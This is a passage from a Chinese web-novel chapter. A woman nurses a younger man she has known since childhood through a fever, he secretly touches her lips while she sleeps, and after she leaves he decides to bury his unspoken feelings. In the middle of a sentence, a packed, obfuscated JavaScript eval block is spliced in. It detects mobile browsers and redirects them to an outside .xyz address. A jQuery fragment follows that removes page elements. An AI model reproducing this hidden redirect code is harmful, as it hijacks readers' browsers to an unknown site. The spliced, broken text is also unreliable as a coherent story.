夏知遥头也不回地冲出门，外面的雨比之前更急了，像有人将整片夜色一桶桶往下倾泻，重重砸在她肩头。
她一路奔回酒店，鞋底溅起水花，早已湿透的布料紧贴在腿上，发梢的雨水沿着脖颈滑入领口，后背冷得像是被利刃划过，但她没有一丝停顿。
冲进房间，她近乎用撕扯的动作拉开行李箱，狼狈而凌乱地翻找着，手指在药瓶、药盒、退烧贴之间急促游走，动作快到不及细想。
她抓起所有要带的东西，然后，她什么都没顾上擦，转身再次冲入瓢泼大雨里。
电梯内的灯光冷白，她湿透的头发贴在脸侧，水珠一滴一滴落下，沿着下颌线滑入衣领。她喘息急促，指尖死死攥着药盒，湿冷中夹着一股说不清的躁热——像是火与冰并存，从血管深处蔓延开来。
她几乎是奔回去的，房门一推开，屋里只亮着床头一盏昏黄的小灯。光影温柔，却照不暖那一室沉重的气息。
周越躺在那里，衬衫半敞，额头与颈侧的毛巾已被体温蒸得温热，脸色烧得泛红，眉头紧皱，像是在梦中与什么苦痛周旋。他的胸膛急促起伏，每一口呼吸都像灼烧的风，混乱而沉重。
她顾不得自己还在滴水，快步走过去，跪在床边，动作熟练又急切地把药瓶、退烧贴、矿泉水一股脑放到地上。
她掀开毛巾，那一瞬，指尖几乎被他的体温烫得发麻，温度高得惊人，像是一团不肯散去的烈火。
“醒醒，周越。”她拍了拍他脸颊，声音压低，语调却带着急躁的哄劝。
周越的睫毛轻轻一颤，像被什么拨动了意识，几秒后，才迷迷糊糊地睁开眼。他的眼里布满血丝，眼神空荡、飘忽，像是连现实都辨不清了。
夏知遥一只手稳稳按住他的肩，另一只手迅速撕开退烧贴，揭掉贴纸，冰凉的贴片轻轻贴上他额头。
他下意识皱了下眉，喉间发出一声低哑的闷哼，像是这点冰意在高烧中也成了某种疼痛。
“乖，把药吃了。”她低声说，语气熟练得像是一种下意识的旧习惯。
她拧开水瓶，剥开药片，小心将他扶起半边身子，把药递到他唇边。那声音温柔又低哑，压抑得几乎听不出情绪，却在字字句句里渗出一种熟悉的、令人心颤的细腻哄慰。
那一刻，她的声音与记忆重叠，就像从前他发烧时，她抱着他，轻轻拍着他背，一遍一遍哄他：“乖，再喝一口。”
仿佛时光倒流，他们又回到那个午后，阳光落在他满是汗水的额头，她眉眼低垂，嗓音清柔。
现在，她又蹲在他面前，湿透了身体，她倒了药片，又倒水，将他轻轻扶起，让他靠在自己怀里。
一只手托着他的后脑勺，另一只手握着水杯，小心翼翼地送到他唇边，她动作娴熟，带着一种近乎本能的熟悉感，不带迟疑，不容拒绝。
他的身体滚烫得吓人，像一团燃着的火。汗水顺着鬓角滑落，浸湿了她的手臂。他低低喘着气，嗓音沙哑，每一口呼吸都沉重而混乱。
他喝了几口水，唇角沾湿，夏知遥下意识伸手替他拭去，指腹贴上他脸侧的时候，动作轻得像怕惊动了什么沉睡的东西。
就在她低头的瞬间，周越忽然抬手，紧紧攥住了她的手腕，那力道出乎她意料，像是本能的依赖，更像是在混乱中抓住一根熟悉的浮木。
他没睁眼，意识半醒，声音低得几不可闻，却一声不落地唤出口：“……知遥姐……”
夏知遥垂眸看着他，眉眼微紧，他的脸烧得通红，唇角干裂，眼神混沌，像分不清梦与现实，却牢牢握着她的手不肯松开。
她心里一紧，太多画面纷至沓来，小学门口他哭着找她的那个黄昏；雨天他浑身湿透还执拗地抱着她胳膊不松手的倔强；还有深夜的家里，他发着高烧睡不着，一口一个“姐”地唤她的哽咽。
这些年，他长大了，变得寡言、沉稳，可在这一刻，他还是那个生病了就抓着她衣角不肯放的小孩。
夏知遥吸了一口气，像是压下心头翻涌的酸涩，她缓缓抬手，轻轻覆在他的指节上，将他攥着的那只手，一点点松开，再一点点，塞回被子里，动作极轻，极慢，像是在安抚，又像是在温柔地放回原位。
“没事，姐在。”她低声说着，语气沉稳安静，像是在哄一个发烧睡不着的孩子。
她低头继续帮他擦汗，指腹轻轻拭过他额角，动作熟练且克制。眼尾泛着红，却依旧一声不出。
天色微亮时，周越醒了，嗓子干得像裂开的砂纸，浑身酸软，脑袋还隐隐发胀。他缓慢地眨了眨眼，意识一点点聚拢。睁眼的第一瞬，他就看见了她。
夏知遥就睡在他床边的地毯上，她半侧着身，头靠在臂弯里，呼吸平稳，眉眼放松，那张素净的脸在微弱的晨光中静静安睡。
那一瞬，周越仿佛被什么攥住了心口，微微收紧。他缓慢撑起身，每动一下骨节都像被烧过的肌肉拉扯着痛。他动作极轻，像怕惊醒某种极脆弱的幻象，一寸一寸靠近她。
房间里很静，静得只剩风吹窗帘的沙沙声和他们交错的呼吸，他低头看着她，目光沉了很久很久。
他伸出手，指尖停在她额前，迟疑了很久，才缓缓落下，轻轻地，从她的额头，到眉心，再到鼻梁，像是在膜拜，又像是在惩罚自己。
他的手指缓缓滑到她唇上，悬停了一瞬，然后极轻地，掠过，那一触几乎没有重量，却在他身体里引起了深处的颤动。
他呼吸一窒，指腹在那一抹柔软上停了一秒，又像被灼到一样收了回来。
他知道，这不该。
她是他叫了十几年的“知遥姐”，他崩溃、溺水、压抑、无法自持时，心里唯一浮现的身影也是她。
可他没忍住。他只能在她睡着时，偷偷靠近一点，再靠近一点，像一只困兽，在仅有的缝隙里汲取一丝光亮。
她睡得很沉，眉头偶尔轻轻一动，却始终没有醒来。
他望着她，眼神深得像一口井，情绪在里头翻涌、咆哮，却一点声音都发不出。
他知道自己越线了，哪怕她什么都不知道，哪怕他什么都没做，只是看她，靠近她，轻轻碰了一下她的唇，都已经是无法原谅的冒犯。
如果她现在睁开眼，他就会立刻收回手，退回原位，撑出那个得体又听话的距离，像什么都没发生过一样，笑着叫她一声：“姐。”
然后把所有的沉默与荒唐，重新锁进胸腔深处，永远不再提起。
夏知遥缓缓睁开眼，长睫微颤，她揉了揉太阳穴，下意识地转头看向床上那人。
她抬手探了探他的额头，温度已经降下来，仍带着些残余的热气，但比昨晚烧得厉害时好多了。她这才悄悄松了口气。
拿起体温计，小心地放进他腋下，等数字跳稳了再看，37.2℃，还没完全退，但也算挺过了最难受的那一夜。
他还在沉睡，眉头却依旧轻蹙，呼吸细碎而急促，像是身体尚未完全从高烧中缓过来。
夏知遥轻手轻脚地将体温计放下，盖好被角，起身走向厨房，她打开冰箱，扫了一眼，食材不少，她没有犹豫，利落地淘米、洗菜、切肉、打蛋，锅中烧水的同时，
米饭在电饭煲里煮着，她又把鸡肉，牛肉和青菜，鸡蛋，虾仁都分别煎炒了，锅铲翻动之间，声音仍旧不大，她所有的动作依旧刻意放轻，不惊扰屋内熟睡的人。
厨房里弥漫着食物的香味，窗外的城市也渐渐苏醒，车鸣、人声透过窗缝传入屋内，像是新一天的钟声在不动声色地敲响，热闹、鲜活，却与屋内的安静形成鲜明反差。
她把那些做好的菜分装在保鲜盒里，又做了一份疙瘩汤。
她走回卧室，脚步极轻，周越还沉沉地睡着，眉头不自觉地蹙着，像是仍未脱离昨夜的煎熬。
她蹲在床边，轻轻将汤碗放在床头柜上，伸出手指，试探地拍了拍他的肩膀，声音也压得极低：“醒了吗？先吃点东西。”
周越缓缓睁开眼，眼底还残留着病后的迷茫与虚弱，他望着她的那一刻，像是从一场重得无法挣脱的梦里回神，怔了怔。
她把汤递到他手边，语气温和却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977819|177885||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着不容拒绝的坚定：“吃点东西，然后吃完药再睡。”
周越接过碗，指尖触到她的手，温热清晰，他垂眸，一口一口喝着疙瘩汤，自从上了高中之后，他就没再吃过夏知遥做的菜。
夏知遥看着他吃东西，说：“你冰箱里的菜我都给你做好了，放保鲜盒，能给你对付两三顿，你记得按时吃饭，病才能好。”
周越靠着床，眼神一直没离开她的背影。嗓音低哑，像从喉咙深处挤出来的：“你呢？”
夏知遥轻轻一笑，低头替他擦去额角细汗，动作温柔极了，像在哄一个病中的孩子。她的语气像风吹在窗纸上，很轻，却带着要揭开下一段分别的预感：“我下午的航班。”她顿了顿，声音里藏不住那一点点必须说出口的冷静现实：“要回去了。”
周越没再说话，只是缓缓低下头，睫毛在眼下投出一小片阴影，他指尖缓慢收紧，握着汤碗，像是在抓住一场梦境，但这梦再握紧，也终将散去。
夏知遥开始收拾碗筷，动作一贯地有条不紊，她将碗碟轻轻叠好，送入厨房，开水壶烧水，静静地等着水滚，然后倒进保温瓶。
回到客厅时，她走到窗前，把微开的窗缝仔细合上，指尖在窗框边略作停顿，像确认，又像迟疑。
然后，她顺手将沙发上的毛巾叠起，放到角落，一切都被整理得妥帖、清爽，像她从未真正属于这个空间，也从未准备留下任何痕迹。
她背起包，转过身，朝他看了一眼，那一眼平静得近乎温和，嘴角轻轻一扬，像过去无数次的临别前那样，轻描淡写地说：“好好休息，别乱跑。”
周越抬头望着她，喉结轻轻滚动。太多话在胸腔盘旋，滚烫、剧烈，却在眼神相触的那一瞬间被全部逼回唇后。
最终，他只是轻声应了一句：“嗯。”
她转身离开，脚步一如既往地干脆、轻快，门被轻轻带上，声音极轻，却在他胸腔深处，“咔哒”一声，仿佛关上的，不止是一扇门，而是他攥了太久、藏了太深的一整个世界。
房间一下子静了下来，只剩下他一个人。
她还是走了。
他坐在沙发边，一动不动，周身像沉进一片窒息的水域，连呼吸都显得格外沉重。他闭了闭眼，手里还紧紧攥着那条早已凉透的毛巾，掌心一片湿意，不知是汗还是别的什么。
他的指尖缓缓收紧，一点点地收紧，像要把那种说不出口的疼，碾碎、压进骨头缝里。
他不是没想过挽留，在她转身之前，在她说出“要回去了”的时候，在她低头替他擦汗的那个瞬间，他甚至想开口，哪怕只是一句：“别走。”可是他没说。
他说不出口，他早就知道，她不会留下。
她有她的世界，从头到尾，他都是那个被照顾的一方，从来不是能陪她并肩走下去的那个人。
他不是没自知之明，可就算知道，他还是忍不住一次次靠近、一次次幻想，她会不会哪一刻犹豫？会不会有一点点不舍？
哪怕只有一次……也好。
可她没有，她从头到尾都没有。
他一遍又一遍地在心里问自己：你还要撑着这份不该吗？撑着一份她从未回应过的执念，撑着一个你明知道没有结果的梦？
她只是把你当成弟弟，想到这，他忽然觉得嗓子干到发疼，是某种深处的空，掏得他整个胸腔都失重。
他深吸了一口气，像从一场泥泞中挣脱出来般吃力。
够了，他低声在心底说，她不会回头，你也该走出来了，他慢慢松开手，把那条毛巾叠好，整整齐齐地放在枕边，动作极其克制，像在给自己多年来的执念，举行一场无声的葬礼。
他低头，在心里一字一句地说：到此为止吧。
不是为了她，是为了自己，他要放过自己。
从这一刻起，周越将所有关于她的温柔、偏执、眷恋与疼痛，一寸一寸压进身体最深的缝隙里，封死，不许再动。
它们不会消失，它们会像地层深处的暗流，在夜里翻涌、灼烧，却永远都不再浮上海面。